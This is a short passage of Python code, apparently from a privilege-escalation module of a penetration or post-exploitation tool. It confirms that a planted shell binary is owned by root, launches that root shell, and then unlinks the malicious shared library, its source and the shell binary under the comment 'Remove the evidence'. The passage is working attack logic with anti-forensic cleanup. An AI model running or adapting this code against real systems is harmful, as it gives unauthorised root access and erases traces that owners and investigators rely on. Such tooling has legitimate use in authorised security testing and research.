        file_owner = self.pty.run(f"stat -c%u {rootshell}").strip()
        if file_owner != b"0":

            raise PrivescError("failed to create root shell")

        # Hop back to the original directory
        self.pty.run("popd")

        # Start the root shell!
        self.pty.process(f"{rootshell}", delim=False)

        # Remove the evidence
        self.pty.run(
            f"unlink {libhack_so} {libhack_c} {rootshell_c} {rootshell}")